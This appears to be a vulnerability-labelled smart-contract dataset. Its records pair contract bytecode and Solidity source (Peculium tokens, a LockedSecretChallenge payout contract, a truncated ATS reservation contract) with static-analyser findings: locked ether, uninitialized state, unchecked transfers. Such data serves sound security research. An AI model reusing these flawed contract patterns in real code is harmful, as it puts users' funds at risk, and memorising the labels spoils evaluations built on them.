0x60806040526004361061011c5763ffffffff7c0100000000000000000000000000000000000000000000000000000000600035041663025e7c27811461015e578063173825d91461019257806320ea8d86146101b35780632f54bf6e146101cb5780633411c81c1461020057806354741525146102245780637065cb4814610255578063784547a7146102765780638b51d13f1461028e5780639ace38c2146102a6578063a0e67e2b14610361578063a8abe69a146103c6578063b5dc40c3146103eb578063b77bf60014610403578063ba51a6df14610418578063c01a8c8414610430578063c642747414610448578063d74f8edd146104b1578063dc8452cd146104c6578063e20056e6146104db578063ee22610b14610502575b600034111561015c5760408051348152905133917fe1fffcc4923d04b559f4d29a8bfc6cda04eb5b0d3c460751c2402c5c5cc9109c919081900360200190a25b005b34801561016a57600080fd5b5061017660043561051a565b60408051600160a060020a039092168252519081900360200190f35b34801561019e57600080fd5b5061015c600160a060020a0360043516610542565b3480156101bf57600080fd5b5061015c6004356106b9565b3480156101d757600080fd5b506101ec600160a060020a0360043516610773565b604080519115158252519081900360200190f35b34801561020c57600080fd5b506101ec600435600160a060020a0360243516610788565b34801561023057600080fd5b50610243600435151560243515156107a8565b60408051918252519081900360200190f35b34801561026157600080fd5b5061015c600160a060020a0360043516610814565b34801561028257600080fd5b506101ec600435610939565b34801561029a57600080fd5b506102436004356109bd565b3480156102b257600080fd5b506102be600435610a2c565b6040518085600160a060020a0316600160a060020a031681526020018481526020018060200183151515158152602001828103825284818151815260200191508051906020019080838360005b8381101561032357818101518382015260200161030b565b50505050905090810190601f1680156103505780820380516001836020036101000a031916815260200191505b509550505050505060405180910390f35b34801561036d57600080fd5b50610376610aea565b60408051602080825283518183015283519192839290830191858101910280838360005b838110156103b257818101518382015260200161039a565b505050509050019250505060405180910390f35b3480156103d257600080fd5b5061037660043560243560443515156064351515610b4d565b3480156103f757600080fd5b50610376600435610c86565b34801561040f57600080fd5b50610243610dff565b34801561042457600080fd5b5061015c600435610e05565b34801561043c57600080fd5b5061015c600435610e84565b34801561045457600080fd5b50604080516020600460443581810135601f8101849004840285018401909552848452610243948235600160a060020a0316946024803595369594606494920191908190840183828082843750949750610f4f9650505050505050565b3480156104bd57600080fd5b50610243610f6e565b3480156104d257600080fd5b50610243610f73565b3480156104e757600080fd5b5061015c600160a060020a0360043581169060243516610f79565b34801561050e57600080fd5b5061015c600435611103565b600380548290811061052857fe5b600091825260209091200154600160a060020a0316905081565b600033301461055057600080fd5b600160a060020a038216600090815260026020526040902054829060ff16151561057957600080fd5b600160a060020a0383166000908152600260205260408120805460ff1916905591505b600354600019018210156106545782600160a060020a03166003838154811015156105c357fe5b600091825260209091200154600160a060020a03161415610649576003805460001981019081106105f057fe5b60009182526020909120015460038054600160a060020a03909216918490811061061657fe5b9060005260206000200160006101000a815481600160a060020a030219169083600160a060020a03160217905550610654565b60019091019061059c565b60038054600019019061066790826113d6565b5060035460045411156106805760035461068090610e05565b604051600160a060020a038416907f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9090600090a2505050565b3360008181526002602052604090205460ff1615156106d757600080fd5b60008281526001602090815260408083203380855292529091205483919060ff16151561070357600080fd5b600084815260208190526040902060030154849060ff161561072457600080fd5b6000858152600160209081526040808320338085529252808320805460ff191690555187927ff6a317157440607f36269043eb55f1287a5a19ba2216afeab88cd46cbcfb88e991a35050505050565b60026020526000908152604090205460ff1681565b600160209081526000928352604080842090915290825290205460ff1681565b6000805b60055481101561080d578380156107d5575060008181526020819052604090206003015460ff16155b806107f957508280156107f9575060008181526020819052604090206003015460ff165b15610805576001820191505b6001016107ac565b5092915050565b33301461082057600080fd5b600160a060020a038116600090815260026020526040902054819060ff161561084857600080fd5b81600160a060020a038116151561085e57600080fd5b6003805490506001016004546032821115801561087b5750818111155b801561088657508015155b801561089157508115155b151561089c57600080fd5b600160a060020a038516600081815260026020526040808220805460ff1916600190811790915560038054918201815583527fc2575a0e9e593c00f959f8c92f12db2869c3395a3b0502d05e2516446f71f85b01805473ffffffffffffffffffffffffffffffffffffffff191684179055517ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d9190a25050505050565b600080805b6003548110156109b6576000848152600160205260408120600380549192918490811061096757fe5b6000918252602080832090910154600160a060020a0316835282019290925260400190205460ff161561099b576001820191505b6004548214156109ae57600192506109b6565b60010161093e565b5050919050565b6000805b600354811015610a2657600083815260016020526040812060038054919291849081106109ea57fe5b6000918252602080832090910154600160a060020a0316835282019290925260400190205460ff1615610a1e576001820191505b6001016109c1565b50919050565b6000602081815291815260409081902080546001808301546002808501805487516101009582161595909502600019011691909104601f8101889004880284018801909652858352600160a060020a0390931695909491929190830182828015610ad75780601f10610aac57610100808354040283529160200191610ad7565b820191906000526020600020905b815481529060010190602001808311610aba57829003601f168201915b5050506003909301549192505060ff1684565b60606003805480602002602001604051908101604052809291908181526020018280548015610b4257602002820191906000526020600020905b8154600160a060020a03168152600190910190602001808311610b24575b505050505090505b90565b606080600080600554604051908082528060200260200182016040528015610b7f578160200160208202803883390190505b50925060009150600090505b600554811015610c0657858015610bb4575060008181526020819052604090206003015460ff16155b80610bd85750848015610bd8575060008181526020819052604090206003015460ff165b15610bfe57808383815181101515610bec57fe5b60209081029091010152600191909101905b600101610b8b565b878703604051908082528060200260200182016040528015610c32578160200160208202803883390190505b5093508790505b86811015610c7b578281815181101515610c4f57fe5b9060200190602002015184898303815181101515610c6957fe5b60209081029091010152600101610c39565b505050949350505050565b606080600080600380549050604051908082528060200260200182016040528015610cbb578160200160208202803883390190505b50925060009150600090505b600354811015610d785760008581526001602052604081206003805491929184908110610cf057fe5b6000918252602080832090910154600160a060020a0316835282019290925260400190205460ff1615610d70576003805482908110610d2b57fe5b6000918252602090912001548351600160a060020a0390911690849084908110610d5157fe5b600160a060020a03909216602092830290910190910152600191909101905b600101610cc7565b81604051908082528060200260200182016040528015610da2578160200160208202803883390190505b509350600090505b81811015610df7578281815181101515610dc057fe5b906020019060200201518482815181101515610dd857fe5b600160a060020a03909216602092830290910190910152600101610daa565b505050919050565b60055481565b333014610e1157600080fd5b6003548160328211801590610e265750818111155b8015610e3157508015155b8015610e3c57508115155b1515610e4757600080fd5b60048390556040805184815290517fa3f1ee9126a074d9326c682f561767f710e927faa811f7a99829d49dc421797a9181900360200190a1505050565b3360008181526002602052604090205460ff161515610ea257600080fd5b6000828152602081905260409020548290600160a060020a03161515610ec757600080fd5b60008381526001602090815260408083203380855292529091205484919060ff1615610ef257600080fd5b6000858152600160208181526040808420338086529252808420805460ff1916909317909255905187927f4a504a94899432a9846e1aa406dceb1bcfd538bb839071d49d1e5e23f5be30ef91a3610f4885611103565b5050505050565b6000610f5c8484846112c3565b9050610f6781610e84565b9392505050565b603281565b60045481565b6000333014610f8757600080fd5b600160a060020a038316600090815260026020526040902054839060ff161515610fb057600080fd5b600160a060020a038316600090815260026020526040902054839060ff1615610fd857600080fd5b600092505b6003548310156110695784600160a060020a031660038481548110151561100057fe5b600091825260209091200154600160a060020a0316141561105e578360038481548110151561102b57fe5b9060005260206000200160006101000a815481600160a060020a030219169083600160a060020a03160217905550611069565b600190920191610fdd565b600160a060020a03808616600081815260026020526040808220805460ff1990811690915593881682528082208054909416600117909355915190917f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9091a2604051600160a060020a038516907ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d90600090a25050505050565b3360008181526002602052604081205490919060ff16151561112457600080fd5b60008381526001602090815260408083203380855292529091205484919060ff16151561115057600080fd5b600085815260208190526040902060030154859060ff161561117157600080fd5b61117a86610939565b156112bb576000868152602081815260409182902060038101805460ff19166001908117909155815481830154600280850180548851601f60001997831615610100029790970190911692909204948501879004870282018701909752838152939a5061124e95600160a060020a03909216949093919083908301828280156112445780601f1061121957610100808354040283529160200191611244565b820191906000526020600020905b81548152906001019060200180831161122757829003601f168201915b50505050506113b3565b156112835760405186907f33e13ecb54c3076d8e8bb8c2881800a4d972b792045ffae98fdf46df365fed7590600090a26112bb565b60405186907f526441bb6c1aba3c9a4a6ca1d6545da9c2333c8c48343ef398eb858d72b7923690600090a260038501805460ff191690555b505050505050565b600083600160a060020a03811615156112db57600080fd5b60055460408051608081018252600160a060020a0388811682526020808301898152838501898152600060608601819052878152808452959095208451815473ffffffffffffffffffffffffffffffffffffffff19169416939093178355516001830155925180519496509193909261135b9260028501929101906113ff565b50606091909101516003909101805460ff191691151591909117905560058054600101905560405182907fc0ba8fe4b176c1714197d43b9cc6bcf797a4a7461c5fe8d0ef6e184ae7601e5190600090a2509392505050565b6000806040516020840160008287838a8c6187965a03f198975050505050505050565b8154818355818111156113fa576000838152602090206113fa91810190830161147d565b505050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061144057805160ff191683800117855561146d565b8280016001018555821561146d579182015b8281111561146d578251825591602001919060010190611452565b5061147992915061147d565b5090565b610b4a91905b8082111561147957600081556001016114835600a165627a7a72305820da6b38dea89fc9001fc45ea9dbfa5228ae3cb09e7645333047e91e1d8a30dda50029
{"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
8,368
0xF6Cd65A20e907e22698AF4060d1B0993B2Dd4005
pragma solidity ^0.4.13; contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public constant returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public constant returns (uint256 balance) { return balances[_owner]; } } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public constant returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract LockedSecretChallenge is Ownable { using SafeMath for uint256; /*Variables about the token contract */ Peculium public pecul; // The Peculium token uint256 decimals; bool public initPecul; // boolean to know if the Peculium token address has been init event InitializedToken(address contractToken); uint256 startdate; uint256 degeldate; address[10] challengeAddress; uint256[10] challengeAmount; bool public initChallenge; event InitializedChallengeAddress(address[10] challengeA, uint256[10] challengeT); //Constructor constructor() { startdate = now; degeldate = 1551890520; // timestamp for 6 March 2019 : 17h42:00 } /*** Functions of the contract ***/ function InitPeculiumAdress(address peculAdress) public onlyOwner { // We init the address of the token pecul = Peculium(peculAdress); decimals = pecul.decimals(); initPecul = true; emit InitializedToken(peculAdress); } function InitChallengeAddress(address[10] addressC, uint256[10] amountC) public onlyOwner Initialize { for(uint256 i=0; i<addressC.length;i++){ challengeAddress[i] = addressC[i]; challengeAmount[i] = amountC[i]; } emit InitializedChallengeAddress(challengeAddress,challengeAmount); } function transferFinal() public onlyOwner Initialize InitializeChallengeAddress { // Transfer pecul for the Bounty manager require(now >= degeldate); require ( challengeAddress.length == challengeAmount.length ); for(uint256 i=0; i<challengeAddress.length;i++){ require(challengeAddress[i]!=0x0); } uint256 amountToSendTotal = 0; for (uint256 indexTest=0; indexTest<challengeAmount.length; indexTest++) // We first test that we have enough token to send { amountToSendTotal = amountToSendTotal + challengeAmount[indexTest]; } require(amountToSendTotal*10**decimals<=pecul.balanceOf(this)); // If no enough token, cancel the send for (uint256 index=0; index<challengeAddress.length; index++) { address toAddress = challengeAddress[index]; uint256 amountTo_Send = challengeAmount[index]*10**decimals; pecul.transfer(toAddress,amountTo_Send); } } function emergency() public onlyOwner { // In case of bug or emergency, resend all tokens to initial sender pecul.transfer(owner,pecul.balanceOf(this)); } /*** Modifiers of the contract ***/ modifier InitializeChallengeAddress { // We need to initialize first the token contract require (initChallenge==true); _; } modifier Initialize { // We need to initialize first the token contract require (initPecul==true); _; } } library SafeERC20 { function safeTransfer(ERC20Basic token, address to, uint256 value) internal { assert(token.transfer(to, value)); } function safeTransferFrom(ERC20 token, address from, address to, uint256 value) internal { assert(token.transferFrom(from, to, value)); } function safeApprove(ERC20 token, address spender, uint256 value) internal { assert(token.approve(spender, value)); } } library SafeMath { function mul(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal constant returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal constant returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); uint256 _allowance = allowed[_from][msg.sender]; // Check is not needed because sub(_allowance, _value) will already throw if this condition is not met // require (_value <= _allowance); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = _allowance.sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public constant returns (uint256 remaining) { return allowed[_owner][_spender]; } /** * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol */ function increaseApproval (address _spender, uint _addedValue) public returns (bool success) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool success) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract BurnableToken is StandardToken { event Burn(address indexed burner, uint256 value); /** * @dev Burns a specific amount of tokens. * @param _value The amount of token to be burned. */ function burn(uint256 _value) public { require(_value > 0); require(_value <= balances[msg.sender]); // no need to require value <= totalSupply, since that would imply the // sender's balance is greater than the totalSupply, which *should* be an assertion failure address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply = totalSupply.sub(_value); Burn(burner, _value); } } contract Peculium is BurnableToken,Ownable { // Our token is a standard ERC20 Token with burnable and ownable aptitude /*Variables about the old token contract */ PeculiumOld public peculOld; // The old Peculium token address public peculOldAdress = 0x53148Bb4551707edF51a1e8d7A93698d18931225; // The address of the old Peculium contract using SafeMath for uint256; // We use safemath to do basic math operation (+,-,*,/) using SafeERC20 for ERC20Basic; /* Public variables of the token for ERC20 compliance */ string public name = "Peculium"; //token name string public symbol = "PCL"; // token symbol uint256 public decimals = 8; // token number of decimal /* Public variables specific for Peculium */ uint256 public constant MAX_SUPPLY_NBTOKEN = 20000000000*10**8; // The max cap is 20 Billion Peculium mapping(address => bool) public balancesCannotSell; // The boolean variable, to frost the tokens /* Event for the freeze of account */ event ChangedTokens(address changedTarget,uint256 amountToChanged); event FrozenFunds(address address_target, bool bool_canSell); //Constructor function Peculium() public { totalSupply = MAX_SUPPLY_NBTOKEN; balances[address(this)] = totalSupply; // At the beginning, the contract has all the tokens. peculOld = PeculiumOld(peculOldAdress); } /*** Public Functions of the contract ***/ function transfer(address _to, uint256 _value) public returns (bool) { // We overright the transfer function to allow freeze possibility require(balancesCannotSell[msg.sender]==false); return BasicToken.transfer(_to,_value); } function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { // We overright the transferFrom function to allow freeze possibility require(balancesCannotSell[msg.sender]==false); return StandardToken.transferFrom(_from,_to,_value); } /*** Owner Functions of the contract ***/ function ChangeLicense(address target, bool canSell) public onlyOwner { balancesCannotSell[target] = canSell; FrozenFunds(target, canSell); } function UpgradeTokens() public { // Use this function to swap your old peculium against new ones (the new ones don't need defrost to be transfered) // Old peculium are burned require(peculOld.totalSupply()>0); uint256 amountChanged = peculOld.allowance(msg.sender,address(this)); require(amountChanged>0); peculOld.transferFrom(msg.sender,address(this),amountChanged); peculOld.burn(amountChanged); balances[address(this)] = balances[address(this)].sub(amountChanged); balances[msg.sender] = balances[msg.sender].add(amountChanged); Transfer(address(this), msg.sender, amountChanged); ChangedTokens(msg.sender,amountChanged); } /*** Others Functions of the contract ***/ /* Approves and then calls the receiving contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); require(_spender.call(bytes4(bytes32(keccak256("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)); return true; } function getBlockTimestamp() public constant returns (uint256) { return now; } function getOwnerInfos() public constant returns (address ownerAddr, uint256 ownerBalance) { // Return info about the public address and balance of the account of the owner of the contract ownerAddr = owner; ownerBalance = balanceOf(ownerAddr); } } contract PeculiumOld is BurnableToken,Ownable { // Our token is a standard ERC20 Token with burnable and ownable aptitude using SafeMath for uint256; // We use safemath to do basic math operation (+,-,*,/) using SafeERC20 for ERC20Basic; /* Public variables of the token for ERC20 compliance */ string public name = "Peculium"; //token name string public symbol = "PCL"; // token symbol uint256 public decimals = 8; // token number of decimal /* Public variables specific for Peculium */ uint256 public constant MAX_SUPPLY_NBTOKEN = 20000000000*10**8; // The max cap is 20 Billion Peculium uint256 public dateStartContract; // The date of the deployment of the token mapping(address => bool) public balancesCanSell; // The boolean variable, to frost the tokens uint256 public dateDefrost; // The date when the owners of token can defrost their tokens /* Event for the freeze of account */ event FrozenFunds(address target, bool frozen); event Defroze(address msgAdd, bool freeze); //Constructor function PeculiumOld() { totalSupply = MAX_SUPPLY_NBTOKEN; balances[owner] = totalSupply; // At the beginning, the owner has all the tokens. balancesCanSell[owner] = true; // The owner need to sell token for the private sale and for the preICO, ICO. dateStartContract=now; dateDefrost = dateStartContract + 85 days; // everybody can defrost his own token after the 25 january 2018 (85 days after 1 November) } /*** Public Functions of the contract ***/ function defrostToken() public { // Function to defrost your own token, after the date of the defrost require(now>dateDefrost); balancesCanSell[msg.sender]=true; Defroze(msg.sender,true); } function transfer(address _to, uint256 _value) public returns (bool) { // We overright the transfer function to allow freeze possibility require(balancesCanSell[msg.sender]); return BasicToken.transfer(_to,_value); } function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { // We overright the transferFrom function to allow freeze possibility (need to allow before) require(balancesCanSell[msg.sender]); return StandardToken.transferFrom(_from,_to,_value); } /*** Owner Functions of the contract ***/ function freezeAccount(address target, bool canSell) onlyOwner { balancesCanSell[target] = canSell; FrozenFunds(target, canSell); } /*** Others Functions of the contract ***/ /* Approves and then calls the receiving contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); require(_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)); return true; } function getBlockTimestamp() constant returns (uint256) { return now; } function getOwnerInfos() constant returns (address ownerAddr, uint256 ownerBalance) { // Return info about the public address and balance of the account of the owner of the contract ownerAddr = owner; ownerBalance = balanceOf(ownerAddr); } }
0x608060405260043610610099576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168063580215fc1461009e57806383b3c85f146100b55780638da5cb5b1461010c578063bb34090914610163578063c4b6b5fd14610192578063caa6fea4146101c1578063cb646aaf146101d8578063ebd3d58a1461025b578063f2fde38b1461029e575b600080fd5b3480156100aa57600080fd5b506100b36102e1565b005b3480156100c157600080fd5b506100ca6106cc565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561011857600080fd5b506101216106f2565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561016f57600080fd5b50610178610717565b604051808215151515815260200191505060405180910390f35b34801561019e57600080fd5b506101a761072a565b604051808215151515815260200191505060405180910390f35b3480156101cd57600080fd5b506101d661073d565b005b3480156101e457600080fd5b50610259600480360381019080806101400190600a806020026040519081016040528092919082600a6020028082843782019150505050509192919290806101400190600a806020026040519081016040528092919082600a60200280828437820191505050505091929192905050506109b3565b005b34801561026757600080fd5b5061029c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610b91565b005b3480156102aa57600080fd5b506102df600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d75565b005b6000806000806000806000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561034557600080fd5b60011515600360009054906101000a900460ff16151514151561036757600080fd5b60011515601a60009054906101000a900460ff16151514151561038957600080fd5b600554421015151561039a57600080fd5b600a801415156103a957600080fd5b600095505b600a86101561041a576000600687600a811015156103c857fe5b0160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415151561040d57600080fd5b85806001019650506103ae565b60009450600093505b600a84101561044e57601084600a8110151561043b57fe5b0154850194508380600101945050610423565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b15801561050b57600080fd5b505af115801561051f573d6000803e3d6000fd5b505050506040513d602081101561053557600080fd5b8101908080519060200190929190505050600254600a0a86021115151561055b57600080fd5b600092505b600a8310156106c457600683600a8110151561057857fe5b0160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169150600254600a0a601084600a811015156105b157fe5b0154029050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb83836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561067b57600080fd5b505af115801561068f573d6000803e3d6000fd5b505050506040513d60208110156106a557600080fd5b8101908080519060200190929190505050508280600101935050610560565b505050505050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600360009054906101000a900460ff1681565b601a60009054906101000a900460ff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561079857600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b1580156108b557600080fd5b505af11580156108c9573d6000803e3d6000fd5b505050506040513d60208110156108df57600080fd5b81019080805190602001909291905050506040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561097557600080fd5b505af1158015610989573d6000803e3d6000fd5b505050506040513d602081101561099f57600080fd5b810190808051906020019092919050505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610a1057600080fd5b60011515600360009054906101000a900460ff161515141515610a3257600080fd5b600090505b600a811015610ad5578281600a81101515610a4e57fe5b6020020151600682600a81101515610a6257fe5b0160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508181600a81101515610aaf57fe5b6020020151601082600a81101515610ac357fe5b01819055508080600101915050610a37565b7fc494c313e2cc12e80d27d12217d219b658441d24557956cf1646dc896980fbf1600660106040518083600a8015610b58576020028201915b8160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019060010190808311610b0e575b505082600a8015610b7e576020028201915b815481526020019060010190808311610b6a575b50509250505060405180910390a1505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610bec57600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663313ce5676040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b158015610cb357600080fd5b505af1158015610cc7573d6000803e3d6000fd5b505050506040513d6020811015610cdd57600080fd5b81019080805190602001909291905050506002819055506001600360006101000a81548160ff0219169083151502179055507f3b0ad68ac55f1f4914e7c734e21011eedf8fd122a183cf5334cdf88cffb55c8c81604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a150565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610dd057600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515610e0c57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550505600a165627a7a7230582052f28221b1f94d6945e4c188ec6073a225f1834f64f302789498e06ea07285160029
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
8,369
0xd1670c55f5e68fede5fddd8ace64a3329f778b89
pragma solidity ^0.4.23; /* * Contract accepting reservations for ATS tokens. * The actual tokens are not yet created and distributed due to non-technical reasons. * This contract is used to collect funds for the ATS token sale and to transparently document that on a blockchain. * It is tailored to allow a simple user journey while keeping complexity minimal. * Once the privileged "state controller" sets the state to "Open", anybody can send Ether to the contract. * Only Ether sent from whitelisted addresses is accepted for future ATS token conversion. * The whitelisting is done by a dedicated whitelist controller. * Whitelisting can take place asynchronously - that is, participants don't need to wait for the whitelisting to * succeed before sending funds. This is a technical detail which allows for a smoother user journey. * The state controller can switch to synchronous whitelisting (no Ether accepted from accounts not whitelisted before). * Participants can trigger refunding during the Open state by making a transfer of 0 Ether. * Funds of those not whitelisted (not accepted) are never locked, they can trigger refund beyond Open state. * Only in Over state can whitelisted Ether deposits be fetched from the contract. * * When setting the state to Open, the state controller specifies a minimal timeframe for this state. * Transition to the next state (Locked) is not possible (enforced by the contract). * This gives participants the guarantee that they can get their full deposits refunded anytime and independently * of the will of anybody else during that timeframe. * (Note that this is true only as long as the whole process takes place before the date specified by FALLBACK_FETCH_FUNDS_TS) * * Ideally, there's no funds left in the contract once the state is set to Over and the accepted deposits were fetched. * Since this can't really be foreseen, there's a fallback which allows to fetch all remaining Ether * to a pre-specified address after a pre-specified date. * * Static analysis: block.timestamp is not used in a way which gives miners leeway for taking advantage. * * see https://code.lab10.io/graz/04-artis/artis/issues/364 for task evolution */ contract ATSTokenReservation { // ################### DATA STRUCTURES ################### enum States { Init, // initial state. Contract is deployed, but deposits not yet accepted Open, // open for token reservations. Refunds possible for all Locked, // open for token reservations. Refunds locked for accepted deposits Over // contract has done its duty. Funds payout can be triggered by state controller } // ################### CONSTANTS ################### // 1. Oct 2018 uint32 FALLBACK_PAYOUT_TS = 1538352000; // ################### STATE 